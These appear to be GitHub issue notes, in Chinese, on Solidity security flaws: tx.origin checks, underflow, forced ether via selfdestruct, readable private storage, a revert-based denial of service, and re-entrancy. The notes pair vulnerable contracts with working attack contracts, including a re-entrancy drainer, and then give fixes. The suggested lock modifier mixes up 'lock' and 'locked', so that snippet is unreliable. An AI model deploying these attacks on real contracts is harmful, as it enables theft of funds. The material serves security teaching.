fangmd / blogsource

6 stars 0 forks source link

solidity safe #80

Open fangmd opened 1 year ago

fangmd commented 1 year ago

Hacks Tx Origin Attacks

https://medium.com/coinmonks/solidity-tx-origin-attacks-58211ad95514

攻击点:

  1. 耗尽合约中的资金

处理方法:

  1. 不要使用 tx.origin 判断合约调用者
fangmd commented 1 year ago

Hacks 数字运算问题

  1. 数字溢出/反向溢出问题
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

使用 SafeMath 处理这个问题

fangmd commented 1 year ago

Hacks 发送 eth 到任意的合约

  1. 通过 selfdestruct 删除合约的同时,把合约余额都转移到另一个合约中
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Attack {

    constructor() payable{

    }

    function attack(address payable addr) public {
        selfdestruct(addr);
    }
}

安全问题:如果合约中有根据 address(this).balance 获取合约余额的判断逻辑,攻击者可以通过强行转入 eth 破坏逻辑。

处理方法:不使用 address(this).balance 去做逻辑判断,可以单独创建一个变量用于存储合法的余额

fangmd commented 1 year ago

Hacks 合约中的所有数据都是公开的包括私有数据

对于 private 的数据可以通过 web3.eth.getStorageAt 获取

fangmd commented 1 year ago

利用 receive fallback 打断合约函数

  1. 如果合约中有给某个账号转账的逻辑,但是目标账号 receive 函数中执行了 revert, 就会导致后续的代码无法执行
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {

  address king;
  uint public prize;
  address public owner;

  constructor() payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    payable(king).transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address) {
    return king;
  }
}

攻击合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Attack {
    constructor(address addr) payable {
        payable(address(addr)).call{value: msg.value}("");
    }

    receive() external payable {
        revert("You lose!");
    }
}
fangmd commented 1 year ago

Re-entrancy 攻击:利用 receive fallback 实现绕开业务逻辑实现重复提款

提款合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import 'openzeppelin-contracts-06/math/SafeMath.sol';

contract Reentrance {

  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}

攻击合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./Reentrance.sol";

contract Attack {
    Reentrance public originC;

    constructor(address cAddr) {
        originC = Reentrance(payable(cAddr));
    }

    function attack() public payable {
        originC.donate{value: msg.value}(address(this));
        originC.withdraw(msg.value);
    }

    receive() external payable {
        if (address(originC).balance >= 1 ether) {
            originC.withdraw(1 ether);
        } else if (address(originC).balance > 0) {
            originC.withdraw(address(originC).balance);
        }
    }
}

处理方法:

  1. 加函数锁,函数执行过程中不能重复调用
bool internal locked;

modifier noReentranct() {
    require(!lock, "Absolutely no re-entrancy!");
    locked = true;
    _;
    locked = false;
}

ReentrancyGuard

https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/security/ReentrancyGuard.sol

  1. PullPayment

15 lines of code that could have prevented TheDAO Hack